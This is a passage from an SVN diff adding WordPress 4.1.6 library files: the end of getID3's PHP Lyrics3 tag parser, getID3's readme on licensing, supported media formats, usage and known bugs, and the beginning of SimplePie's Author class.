+						if (isset($ParsedLyrics3['raw'][$key])) {
+							$ParsedLyrics3['comments'][$value][] = trim($ParsedLyrics3['raw'][$key]);
+						}
+					}
+
+					if (isset($ParsedLyrics3['raw']['IMG'])) {
+						$imagestrings = explode("\r\n", $ParsedLyrics3['raw']['IMG']);
+						foreach ($imagestrings as $key => $imagestring) {
+							if (strpos($imagestring, '||') !== false) {
+								$imagearray = explode('||', $imagestring);
+								$ParsedLyrics3['images'][$key]['filename']     =                                (isset($imagearray[0]) ? $imagearray[0] : '');
+								$ParsedLyrics3['images'][$key]['description']  =                                (isset($imagearray[1]) ? $imagearray[1] : '');
+								$ParsedLyrics3['images'][$key]['timestamp']    = $this->Lyrics3Timestamp2Seconds(isset($imagearray[2]) ? $imagearray[2] : '');
+							}
+						}
+					}
+					if (isset($ParsedLyrics3['raw']['LYR'])) {
+						$this->Lyrics3LyricsTimestampParse($ParsedLyrics3);
+					}
+				} else {
+					$info['error'][] = '"LYRICS200" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead';
+					return false;
+				}
+				break;
+
+			default:
+				$info['error'][] = 'Cannot process Lyrics3 version '.$version.' (only v1 and v2)';
+				return false;
+				break;
+		}
+
+
+		if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] <= $ParsedLyrics3['tag_offset_end'])) {
+			$info['warning'][] = 'ID3v1 tag information ignored since it appears to be a false synch in Lyrics3 tag data';
+			unset($info['id3v1']);
+			foreach ($info['warning'] as $key => $value) {
+				if ($value == 'Some ID3v1 fields do not use NULL characters for padding') {
+					unset($info['warning'][$key]);
+					sort($info['warning']);
+					break;
+				}
+			}
+		}
+
+		$info['lyrics3'] = $ParsedLyrics3;
+
+		return true;
+	}
+
+	public function Lyrics3Timestamp2Seconds($rawtimestamp) {
+		if (preg_match('#^\\[([0-9]{2}):([0-9]{2})\\]$#', $rawtimestamp, $regs)) {
+			return (int) (($regs[1] * 60) + $regs[2]);
+		}
+		return false;
+	}
+
+	public function Lyrics3LyricsTimestampParse(&$Lyrics3data) {
+		$lyricsarray = explode("\r\n", $Lyrics3data['raw']['LYR']);
+		foreach ($lyricsarray as $key => $lyricline) {
+			$regs = array();
+			unset($thislinetimestamps);
+			while (preg_match('#^(\\[[0-9]{2}:[0-9]{2}\\])#', $lyricline, $regs)) {
+				$thislinetimestamps[] = $this->Lyrics3Timestamp2Seconds($regs[0]);
+				$lyricline = str_replace($regs[0], '', $lyricline);
+			}
+			$notimestamplyricsarray[$key] = $lyricline;
+			if (isset($thislinetimestamps) && is_array($thislinetimestamps)) {
+				sort($thislinetimestamps);
+				foreach ($thislinetimestamps as $timestampkey => $timestamp) {
+					if (isset($Lyrics3data['synchedlyrics'][$timestamp])) {
+						// timestamps only have a 1-second resolution, it's possible that multiple lines
+						// could have the same timestamp, if so, append
+						$Lyrics3data['synchedlyrics'][$timestamp] .= "\r\n".$lyricline;
+					} else {
+						$Lyrics3data['synchedlyrics'][$timestamp] = $lyricline;
+					}
+				}
+			}
+		}
+		$Lyrics3data['unsynchedlyrics'] = implode("\r\n", $notimestamplyricsarray);
+		if (isset($Lyrics3data['synchedlyrics']) && is_array($Lyrics3data['synchedlyrics'])) {
+			ksort($Lyrics3data['synchedlyrics']);
+		}
+		return true;
+	}
+
+	public function IntString2Bool($char) {
+		if ($char == '1') {
+			return true;
+		} elseif ($char == '0') {
+			return false;
+		}
+		return null;
+	}
+}
Index: /tags/4.1.6/src/wp-includes/ID3/readme.txt
===================================================================
--- /tags/4.1.6/src/wp-includes/ID3/readme.txt	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/ID3/readme.txt	(revision 33402)
@@ -0,0 +1,604 @@
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+
+*****************************************************************
+*****************************************************************
+
+   getID3() is released under multiple licenses. You may choose
+   from the following licenses, and use getID3 according to the
+   terms of the license most suitable to your project.
+
+GNU GPL: https://gnu.org/licenses/gpl.html                   (v3)
+         https://gnu.org/licenses/old-licenses/gpl-2.0.html  (v2)
+         https://gnu.org/licenses/old-licenses/gpl-1.0.html  (v1)
+
+GNU LGPL: https://gnu.org/licenses/lgpl.html                 (v3)
+
+Mozilla MPL: http://www.mozilla.org/MPL/2.0/                 (v2)
+
+getID3 Commercial License: http://getid3.org/#gCL (payment required)
+
+*****************************************************************
+*****************************************************************
+Copies of each of the above licenses are included in the 'licenses'
+directory of the getID3 distribution.
+
+
+       +---------------------------------------------+
+       | If you want to donate, there is a link on   |
+       | http://www.getid3.org for PayPal donations. |
+       +---------------------------------------------+
+
+
+Quick Start
+===========================================================================
+
+Q: How can I check that getID3() works on my server/files?
+A: Unzip getID3() to a directory, then access /demos/demo.browse.php
+
+
+
+Support
+===========================================================================
+
+Q: I have a question, or I found a bug. What do I do?
+A: The preferred method of support requests and/or bug reports is the
+   forum at http://support.getid3.org/
+
+
+
+Sourceforge Notification
+===========================================================================
+
+It's highly recommended that you sign up for notification from
+Sourceforge for when new versions are released. Please visit:
+http://sourceforge.net/project/showfiles.php?group_id=55859
+and click the little "monitor package" icon/link.  If you're
+previously signed up for the mailing list, be aware that it has
+been discontinued, only the automated Sourceforge notification
+will be used from now on.
+
+
+
+What does getID3() do?
+===========================================================================
+
+Reads & parses (to varying degrees):
+ ¤ tags:
+  * APE (v1 and v2)
+  * ID3v1 (& ID3v1.1)
+  * ID3v2 (v2.4, v2.3, v2.2)
+  * Lyrics3 (v1 & v2)
+
+ ¤ audio-lossy:
+  * MP3/MP2/MP1
+  * MPC / Musepack
+  * Ogg (Vorbis, OggFLAC, Speex)
+  * AAC / MP4
+  * AC3
+  * DTS
+  * RealAudio
+  * Speex
+  * DSS
+  * VQF
+
+ ¤ audio-lossless:
+  * AIFF
+  * AU
+  * Bonk
+  * CD-audio (*.cda)
+  * FLAC
+  * LA (Lossless Audio)
+  * LiteWave
+  * LPAC
+  * MIDI
+  * Monkey's Audio
+  * OptimFROG
+  * RKAU
+  * Shorten
+  * TTA
+  * VOC
+  * WAV (RIFF)
+  * WavPack
+
+ ¤ audio-video:
+  * ASF: ASF, Windows Media Audio (WMA), Windows Media Video (WMV)
+  * AVI (RIFF)
+  * Flash
+  * Matroska (MKV)
+  * MPEG-1 / MPEG-2
+  * NSV (Nullsoft Streaming Video)
+  * Quicktime (including MP4)
+  * RealVideo
+
+ ¤ still image:
+  * BMP
+  * GIF
+  * JPEG
+  * PNG
+  * TIFF
+  * SWF (Flash)
+  * PhotoCD
+
+ ¤ data:
+  * ISO-9660 CD-ROM image (directory structure)
+  * SZIP (limited support)
+  * ZIP (directory structure)
+  * TAR
+  * CUE
+
+
+Writes:
+  * ID3v1 (& ID3v1.1)
+  * ID3v2 (v2.3 & v2.4)
+  * VorbisComment on OggVorbis
+  * VorbisComment on FLAC (not OggFLAC)
+  * APE v2
+  * Lyrics3 (delete only)
+
+
+
+Requirements
+===========================================================================
+
+* PHP 4.2.0 up to 5.2.x for getID3() 1.7.x (and earlier)
+* PHP 5.0.5 (or higher) for getID3() 1.8.x (and up)
+* PHP 5.0.5 (or higher) for getID3() 2.0.x (and up)
+* at least 4MB memory for PHP. 8MB or more is highly recommended.
+  12MB is required with all modules loaded.
+
+
+
+Usage
+===========================================================================
+
+See /demos/demo.basic.php for a very basic use of getID3() with no
+fancy output, just scanning one file.
+
+See structure.txt for the returned data structure.
+
+*>  For an example of a complete directory-browsing,       <*
+*>  file-scanning implementation of getID3(), please run   <*
+*>  /demos/demo.browse.php                                 <*
+
+See /demos/demo.mysql.php for a sample recursive scanning code that
+scans every file in a given directory, and all sub-directories, stores
+the results in a database and allows various analysis / maintenance
+operations
+
+To analyze remote files over HTTP or FTP you need to copy the file
+locally first before running getID3(). Your code would look something
+like this:
+
+// Copy remote file locally to scan with getID3()
+$remotefilename = 'http://www.example.com/filename.mp3';
+if ($fp_remote = fopen($remotefilename, 'rb')) {
+    $localtempfilename = tempnam('/tmp', 'getID3');
+    if ($fp_local = fopen($localtempfilename, 'wb')) {
+        while ($buffer = fread($fp_remote, 8192)) {
+            fwrite($fp_local, $buffer);
+        }
+        fclose($fp_local);
+
+		// Initialize getID3 engine
+		$getID3 = new getID3;
+
+		$ThisFileInfo = $getID3->analyze($filename);
+
+        // Delete temporary file
+        unlink($localtempfilename);
+    }
+    fclose($fp_remote);
+}
+
+
+See /demos/demo.write.php for how to write tags.
+
+
+
+What does the returned data structure look like?
+===========================================================================
+
+See structure.txt
+
+It is recommended that you look at the output of
+/demos/demo.browse.php scanning the file(s) you're interested in to
+confirm what data is actually returned for any particular filetype in
+general, and your files in particular, as the actual data returned
+may vary considerably depending on what information is available in
+the file itself.
+
+
+
+Notes
+===========================================================================
+
+getID3() 1.x:
+If the format parser encounters a critical problem, it will return
+something in $fileinfo['error'], describing the encountered error. If
+a less critical error or notice is generated it will appear in
+$fileinfo['warning']. Both keys may contain more than one warning or
+error. If something is returned in ['error'] then the file was not
+correctly parsed and returned data may or may not be correct and/or
+complete. If something is returned in ['warning'] (and not ['error'])
+then the data that is returned is OK - usually getID3() is reporting
+errors in the file that have been worked around due to known bugs in
+other programs. Some warnings may indicate that the data that is
+returned is OK but that some data could not be extracted due to
+errors in the file.
+
+getID3() 2.x:
+See above except errors are thrown (so you will only get one error).
+
+
+
+Disclaimer
+===========================================================================
+
+getID3() has been tested on many systems, on many types of files,
+under many operating systems, and is generally believe to be stable
+and safe. That being said, there is still the chance there is an
+undiscovered and/or unfixed bug that may potentially corrupt your
+file, especially within the writing functions. By using getID3() you
+agree that it's not my fault if any of your files are corrupted.
+In fact, I'm not liable for anything :)
+
+
+
+License
+===========================================================================
+
+GNU General Public License - see license.txt
+
+This program is free software; you can redistribute it and/or
+modify it under the terms of the GNU General Public License
+as published by the Free Software Foundation; either version 2
+of the License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program; if not, write to:
+Free Software Foundation, Inc.
+59 Temple Place - Suite 330
+Boston, MA  02111-1307, USA.
+
+FAQ:
+Q: Can I use getID3() in my program? Do I need a commercial license?
+A: You're generally free to use getID3 however you see fit. The only
+   case in which you would require a commercial license is if you're
+   selling your closed-source program that integrates getID3. If you
+   sell your program including a copy of getID3, that's fine as long
+   as you include a copy of the sourcecode when you sell it.  Or you
+   can distribute your code without getID3 and say "download it from
+   getid3.sourceforge.net"
+
+
+
+Why is it called "getID3()" if it does so much more than just that?
+===========================================================================
+
+v0.1 did in fact just do that. I don't have a copy of code that old, but I
+could essentially write it today with a one-line function:
+  function getID3($filename) { return unpack('a3TAG/a30title/a30artist/a30album/a4year/a28comment/c1track/c1genreid', substr(file_get_contents($filename), -128)); }
+
+
+Future Plans
+===========================================================================
+http://www.getid3.org/phpBB3/viewforum.php?f=7
+
+* Better support for MP4 container format
+* Scan for appended ID3v2 tag at end of file per ID3v2.4 specs (Section 5.0)
+* Support for JPEG-2000 (http://www.morgan-multimedia.com/jpeg2000_overview.htm)
+* Support for MOD (mod/stm/s3m/it/xm/mtm/ult/669)
+* Support for ACE (thanks Vince)
+* Support for Ogg other than Vorbis, Speex and OggFlac (ie. Ogg+Xvid)
+* Ability to create Xing/LAME VBR header for VBR MP3s that are missing VBR header
+* Ability to "clean" ID3v2 padding (replace invalid padding with valid padding)
+* Warn if MP3s change version mid-stream (in full-scan mode)
+* check for corrupt/broken mid-file MP3 streams in histogram scan
+* Support for lossless-compression formats
+  (http://www.firstpr.com.au/audiocomp/lossless/#Links)
+  (http://compression.ca/act-sound.html)
+  (http://web.inter.nl.net/users/hvdh/lossless/lossless.htm)
+* Support for RIFF-INFO chunks
+  * http://lotto.st-andrews.ac.uk/~njh/tag_interchange.html
+    (thanks Nick Humfrey <njhØsurgeradio*co*uk>)
+  * http://abcavi.narod.ru/sof/abcavi/infotags.htm
+    (thanks Kibi)
+* Better support for Bink video
+* http://www.hr/josip/DSP/AudioFile2.html
+* http://www.pcisys.net/~melanson/codecs/
+* Detect mp3PRO
+* Support for PSD
+* Support for JPC
+* Support for JP2
+* Support for JPX
+* Support for JB2
+* Support for IFF
+* Support for ICO
+* Support for ANI
+* Support for EXE (comments, author, etc) (thanks p*quaedackersØplanet*nl)
+* Support for DVD-IFO (region, subtitles, aspect ratio, etc)
+  (thanks p*quaedackersØplanet*nl)
+* More complete support for SWF - parsing encapsulated MP3 and/or JPEG content
+    (thanks n8n8Øyahoo*com)
+* Support for a2b
+* Optional scan-through-frames for AVI verification
+  (thanks rockcohenØmassive-interactive*nl)
+* Support for TTF (thanks infoØbutterflyx*com)
+* Support for DSS (http://www.getid3.org/phpBB3/viewtopic.php?t=171)
+* Support for SMAF (http://smaf-yamaha.com/what/demo.html)
+  http://www.getid3.org/phpBB3/viewtopic.php?t=182
+* Support for AMR (http://www.getid3.org/phpBB3/viewtopic.php?t=195)
+* Support for 3gpp (http://www.getid3.org/phpBB3/viewtopic.php?t=195)
+* Support for ID4 (http://www.wackysoft.cjb.net grizlyY2KØhotmail*com)
+* Parse XML data returned in Ogg comments
+* Parse XML data from Quicktime SMIL metafiles (klausrathØmac*com)
+* ID3v2 genre string creator function
+* More complete parsing of JPG
+* Support for all old-style ASF packets
+* ASF/WMA/WMV tag writing
+* Parse declared T??? ID3v2 text information frames, where appropriate
+    (thanks Christian Fritz for the idea)
+* Recognize encoder:
+  http://www.guerillasoft.com/EncSpot2/index.html
+  http://ff123.net/identify.html
+  http://www.hydrogenaudio.org/?act=ST&f=16&t=9414
+  http://www.hydrogenaudio.org/?showtopic=11785
+* Support for other OS/2 bitmap structures: Bitmap Array('BA'),
+  Color Icon('CI'), Color Pointer('CP'), Icon('IC'), Pointer ('PT')
+  http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm
+* Support for WavPack RAW mode
+* ASF/WMA/WMV data packet parsing
+* ID3v2FrameFlagsLookupTagAlter()
+* ID3v2FrameFlagsLookupFileAlter()
+* obey ID3v2 tag alter/preserve/discard rules
+* http://www.geocities.com/SiliconValley/Sector/9654/Softdoc/Illyrium/Aolyr.htm
+* proper checking for LINK/LNK frame validity in ID3v2 writing
+* proper checking for ASPI-TLEN frame validity in ID3v2 writing
+* proper checking for COMR frame validity in ID3v2 writing
+* http://www.geocities.co.jp/SiliconValley-Oakland/3664/index.html
+* decode GEOB ID3v2 structure as encoded by RealJukebox,
+  decode NCON ID3v2 structure as encoded by MusicMatch
+  (probably won't happen - the formats are proprietary)
+
+
+
+Known Bugs/Issues in getID3() that may be fixed eventually
+===========================================================================
+http://www.getid3.org/phpBB3/viewtopic.php?t=25
+
+* Cannot determine bitrate for MPEG video with VBR video data
+  (need documentation)
+* Interlace/progressive cannot be determined for MPEG video
+  (need documentation)
+* MIDI playtime is sometimes inaccurate
+* AAC-RAW mode files cannot be identified
+* WavPack-RAW mode files cannot be identified
+* mp4 files report lots of "Unknown QuickTime atom type"
+   (need documentation)
+* Encrypted ASF/WMA/WMV files warn about "unhandled GUID
+  ASF_Content_Encryption_Object"
+* Bitrate split between audio and video cannot be calculated for
+  NSV, only the total bitrate. (need documentation)
+* All Ogg formats (Vorbis, OggFLAC, Speex) are affected by the
+  problem of large VorbisComments spanning multiple Ogg pages, but
+  but only OggVorbis files can be processed with vorbiscomment.
+* The version of "head" supplied with Mac OS 10.2.8 (maybe other
+  versions too) does only understands a single option (-n) and
+  therefore fails. getID3 ignores this and returns wrong md5_data.
+
+
+
+Known Bugs/Issues in getID3() that cannot be fixed
+--------------------------------------------------
+http://www.getid3.org/phpBB3/viewtopic.php?t=25
+
+* 32-bit PHP installations only:
+  Files larger than 2GB cannot always be parsed fully by getID3()
+  due to limitations in the 32-bit PHP filesystem functions.
+  NOTE: Since v1.7.8b3 there is partial support for larger-than-
+  2GB files, most of which will parse OK, as long as no critical
+  data is located beyond the 2GB offset.
+  Known will-work:
+  * all file formats on 64-bit PHP
+  * ZIP  (format doesn't support files >2GB)
+  * FLAC (current encoders don't support files >2GB)
+  Known will-not-work:
+  * ID3v1 tags (always located at end-of-file)
+  * Lyrics3 tags (always located at end-of-file)
+  * APE tags (always located at end-of-file)
+  Maybe-will-work:
+  * Quicktime (will work if needed metadata is before 2GB offset,
+    that is if the file has been hinted/optimized for streaming)
+  * RIFF.WAV (should work fine, but gives warnings about not being
+    able to parse all chunks)
+  * RIFF.AVI (playtime will probably be wrong, is only based on
+    "movi" chunk that fits in the first 2GB, should issue error
+    to show that playtime is incorrect. Other data should be mostly
+    correct, assuming that data is constant throughout the file)
+* PHP <= v5 on Windows cannot read UTF-8 filenames
+
+
+Known Bugs/Issues in other programs
+-----------------------------------
+http://www.getid3.org/phpBB3/viewtopic.php?t=25
+
+* Windows Media Player (up to v11) and iTunes (up to v10+) do
+    not correctly handle ID3v2.3 tags with UTF-16BE+BOM
+    encoding (they assume the data is UTF-16LE+BOM and either
+    crash (WMP) or output Asian character set (iTunes)
+* Winamp (up to v2.80 at least) does not support ID3v2.4 tags,
+    only ID3v2.3
+    see: http://forums.winamp.com/showthread.php?postid=387524
+* Some versions of Helium2 (www.helium2.com) do not write
+    ID3v2.4-compliant Frame Sizes, even though the tag is marked
+    as ID3v2.4)  (detected by getID3())
+* MP3ext V3.3.17 places a non-compliant padding string at the end
+    of the ID3v2 header. This is supposedly fixed in v3.4b21 but
+    only if you manually add a registry key. This fix is not yet
+    confirmed.  (detected by getID3())
+* CDex v1.40 (fixed by v1.50b7) writes non-compliant Ogg comment
+    strings, supposed to be in the format "NAME=value" but actually
+    written just "value"  (detected by getID3())
+* Oggenc 0.9-rc3 flags the encoded file as ABR whether it's
+    actually ABR or VBR.
+* iTunes (versions "X v2.0.3", "v3.0.1" are known-guilty, probably
+    other versions are too) writes ID3v2.3 comment tags using a
+    frame name 'COM ' which is not valid for ID3v2.3+ (it's an
+    ID3v2.2-style frame name)  (detected by getID3())
+* MP2enc does not encode mono CBR MP2 files properly (half speed
+    sound and double playtime)
+* MP2enc does not encode mono VBR MP2 files properly (actually
+    encoded as stereo)
+* tooLAME does not encode mono VBR MP2 files properly (actually
+    encoded as stereo)
+* AACenc encodes files in VBR mode (actually ABR) even if CBR is
+   specified
+* AAC/ADIF - bitrate_mode = cbr for vbr files
+* LAME 3.90-3.92 prepends one frame of null data (space for the
+  LAME/VBR header, but it never gets written) when encoding in CBR
+  mode with the DLL
+* Ahead Nero encodes TwinVQF with a DSIZ value (which is supposed
+  to be the filesize in bytes) of "0" for TwinVQF v1.0 and "1" for
+  TwinVQF v2.0  (detected by getID3())
+* Ahead Nero encodes TwinVQF files 1 second shorter than they
+  should be
+* AAC-ADTS files are always actually encoded VBR, even if CBR mode
+  is specified (the CBR-mode switches on the encoder enable ABR
+  mode, not CBR as such, but it's not possible to tell the
+  difference between such ABR files and true VBR)
+* STREAMINFO.audio_signature in OggFLAC is always null. "The reason
+  it's like that is because there is no seeking support in
+  libOggFLAC yet, so it has no way to go back and write the
+  computed sum after encoding. Seeking support in Ogg FLAC is the
+  #1 item for the next release." - Josh Coalson (FLAC developer)
+  NOTE: getID3() will calculate md5_data in a method similar to
+  other file formats, but that value cannot be compared to the
+  md5_data value from FLAC data in a FLAC file format.
+* STREAMINFO.audio_signature is not calculated in FLAC v0.3.0 &
+  v0.4.0 - getID3() will calculate md5_data in a method similar to
+  other file formats, but that value cannot be compared to the
+  md5_data value from FLAC v0.5.0+
+* RioPort (various versions including 2.0 and 3.11) tags ID3v2 with
+  a WCOM frame that has no data portion
+* Earlier versions of Coolplayer adds illegal ID3 tags to Ogg Vorbis
+  files, thus making them corrupt.
+* Meracl ID3 Tag Writer v1.3.4 (and older) incorrectly truncates the
+  last byte of data from an MP3 file when appending a new ID3v1 tag.
+  (detected by getID3())
+* Lossless-Audio files encoded with and without the -noseek switch
+  do actually differ internally and therefore cannot match md5_data
+* iTunes has been known to append a new ID3v1 tag on the end of an
+  existing ID3v1 tag when ID3v2 tag is also present
+  (detected by getID3())
+* MediaMonkey may write a blank RGAD ID3v2 frame but put actual
+  replay gain adjustments in a series of user-defined TXXX frames
+  (detected and handled by getID3() since v1.9.2)
+
+
+
+
+Reference material:
+===========================================================================
+
+[www.id3.org material now mirrored at http://id3lib.sourceforge.net/id3/]
+* http://www.id3.org/id3v2.4.0-structure.txt
+* http://www.id3.org/id3v2.4.0-frames.txt
+* http://www.id3.org/id3v2.4.0-changes.txt
+* http://www.id3.org/id3v2.3.0.txt
+* http://www.id3.org/id3v2-00.txt
+* http://www.id3.org/mp3frame.html
+* http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html <mathewhendry@hotmail.com>
+* http://www.dv.co.yu/mpgscript/mpeghdr.htm
+* http://www.mp3-tech.org/programmer/frame_header.html
+* http://users.belgacom.net/gc247244/extra/tag.html
+* http://gabriel.mp3-tech.org/mp3infotag.html
+* http://www.id3.org/iso4217.html
+* http://www.unicode.org/Public/MAPPINGS/ISO8859/8859-1.TXT
+* http://www.xiph.org/ogg/vorbis/doc/framing.html
+* http://www.xiph.org/ogg/vorbis/doc/v-comment.html
+* http://leknor.com/code/php/class.ogg.php.txt
+* http://www.id3.org/iso639-2.html
+* http://www.id3.org/lyrics3.html
+* http://www.id3.org/lyrics3200.html
+* http://www.psc.edu/general/software/packages/ieee/ieee.html
+* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/ieee-expl.html
+* http://www.scri.fsu.edu/~jac/MAD3401/Backgrnd/binary.html
+* http://www.jmcgowan.com/avi.html
+* http://www.wotsit.org/
+* http://www.herdsoft.com/ti/davincie/davp3xo2.htm
+* http://www.mathdogs.com/vorbis-illuminated/bitstream-appendix.html
+* "Standard MIDI File Format" by Dustin Caldwell (from www.wotsit.org)
+* http://midistudio.com/Help/GMSpecs_Patches.htm
+* http://www.xiph.org/archives/vorbis/200109/0459.html
+* http://www.replaygain.org/
+* http://www.lossless-audio.com/
+* http://download.microsoft.com/download/winmediatech40/Doc/1.0/WIN98MeXP/EN-US/ASF_Specification_v.1.0.exe
+* http://mediaxw.sourceforge.net/files/doc/Active%20Streaming%20Format%20(ASF)%201.0%20Specification.pdf
+* http://www.uni-jena.de/~pfk/mpp/sv8/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/sv8/)
+* http://jfaul.de/atl/
+* http://www.uni-jena.de/~pfk/mpp/ (archived at http://www.hydrogenaudio.org/musepack/klemm/www.personal.uni-jena.de/~pfk/mpp/)
+* http://www.libpng.org/pub/png/spec/png-1.2-pdg.html
+* http://www.real.com/devzone/library/creating/rmsdk/doc/rmff.htm
+* http://www.fastgraph.com/help/bmp_os2_header_format.html
+* http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm
+* http://flac.sourceforge.net/format.html
+* http://www.research.att.com/projects/mpegaudio/mpeg2.html
+* http://www.audiocoding.com/wiki/index.php?page=AAC
+* http://libmpeg.org/mpeg4/doc/w2203tfs.pdf
+* http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt
+* http://developer.apple.com/techpubs/quicktime/qtdevdocs/RM/frameset.htm
+* http://www.nullsoft.com/nsv/
+* http://www.wotsit.org/download.asp?f=iso9660
+* http://sandbox.mc.edu/~bennet/cs110/tc/tctod.html
+* http://www.cdroller.com/htm/readdata.html
+* http://www.speex.org/manual/node10.html
+* http://www.harmony-central.com/Computer/Programming/aiff-file-format.doc
+* http://www.faqs.org/rfcs/rfc2361.html
+* http://ghido.shelter.ro/
+* http://www.ebu.ch/tech_t3285.pdf
+* http://www.sr.se/utveckling/tu/bwf
+* http://ftp.aessc.org/pub/aes46-2002.pdf
+* http://cartchunk.org:8080/
+* http://www.broadcastpapers.com/radio/cartchunk01.htm
+* http://www.hr/josip/DSP/AudioFile2.html
+* http://home.attbi.com/~chris.bagwell/AudioFormats-11.html
+* http://www.pure-mac.com/extkey.html
+* http://cesnet.dl.sourceforge.net/sourceforge/bonkenc/bonk-binary-format-0.9.txt
+* http://www.headbands.com/gspot/
+* http://www.openswf.org/spec/SWFfileformat.html
+* http://j-faul.virtualave.net/
+* http://www.btinternet.com/~AnthonyJ/Atari/programming/avr_format.html
+* http://cui.unige.ch/OSG/info/AudioFormats/ap11.html
+* http://sswf.sourceforge.net/SWFalexref.html
+* http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt
+* http://www-lehre.informatik.uni-osnabrueck.de/~fbstark/diplom/docs/swf/Flash_Uncovered.htm
+* http://developer.apple.com/quicktime/icefloe/dispatch012.html
+* http://www.csdn.net/Dev/Format/graphics/PCD.htm
+* http://tta.iszf.irk.ru/
+* http://www.atsc.org/standards/a_52a.pdf
+* http://www.alanwood.net/unicode/
+* http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html
+* http://www.its.msstate.edu/net/real/reports/config/tags.stats
+* http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt
+* http://brennan.young.net/Comp/LiveStage/things.html
+* http://www.multiweb.cz/twoinches/MP3inside.htm
+* http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended
+* http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
+* http://www.unicode.org/unicode/faq/utf_bom.html
+* http://tta.corecodec.org/?menu=format
+* http://www.scvi.net/nsvformat.htm
+* http://pda.etsi.org/pda/queryform.asp
+* http://cpansearch.perl.org/src/RGIBSON/Audio-DSS-0.02/lib/Audio/DSS.pm
+* http://trac.musepack.net/trac/wiki/SV8Specification
+* http://wyday.com/cuesharp/specification.php
+* http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
Index: /tags/4.1.6/src/wp-includes/SimplePie/Author.php
===================================================================
--- /tags/4.1.6/src/wp-includes/SimplePie/Author.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/SimplePie/Author.php	(revision 33402)
@@ -0,0 +1,157 @@
+<?php
+/**
+ * SimplePie
+ *
+ * A PHP-Based RSS and Atom Feed Framework.
+ * Takes the hard work out of managing a complete RSS/Atom solution.
+ *
+ * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.3.1
+ * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @author Ryan McCue
+ * @link http://simplepie.org/ SimplePie
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ */
+
+/**
+ * Manages all author-related data
+ *
+ * Used by {@see SimplePie_Item::get_author()} and {@see SimplePie::get_authors()}
+ *
+ * This class can be overloaded with {@see SimplePie::set_author_class()}
+ *
+ * @package SimplePie
+ * @subpackage API
+ */
+class SimplePie_Author
+{
+	/**
+	 * Author's name
+	 *
+	 * @var string
+	 * @see get_name()
+	 */
+	var $name;
+
+	/**
+	 * Author's link
+	 *
+	 * @var string
+	 * @see get_link()
+	 */
+	var $link;
+
+	/**
+	 * Author's email address
+	 *
+	 * @var string
+	 * @see get_email()
+	 */
+	var $email;
+
+	/**
+	 * Constructor, used to input the data
+	 *
+	 * @param string $name
+	 * @param string $link
+	 * @param string $email
+	 */
+	public function __construct($name = null, $link = null, $email = null)
+	{
+		$this->name = $name;
+		$this->link = $link;
+		$this->email = $email;
+	}
+
+	/**
+	 * String-ified version
+	 *
+	 * @return string
+	 */
+	public function __toString()
+	{
+		// There is no $this->data here
+		return md5(serialize($this));
+	}
+
+	/**
+	 * Author's name
+	 *
+	 * @return string|null
+	 */
+	public function get_name()
+	{
+		if ($this->name !== null)
+		{
+			return $this->name;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Author's link
+	 *
+	 * @return string|null
+	 */
+	public function get_link()
+	{
+		if ($this->link !== null)
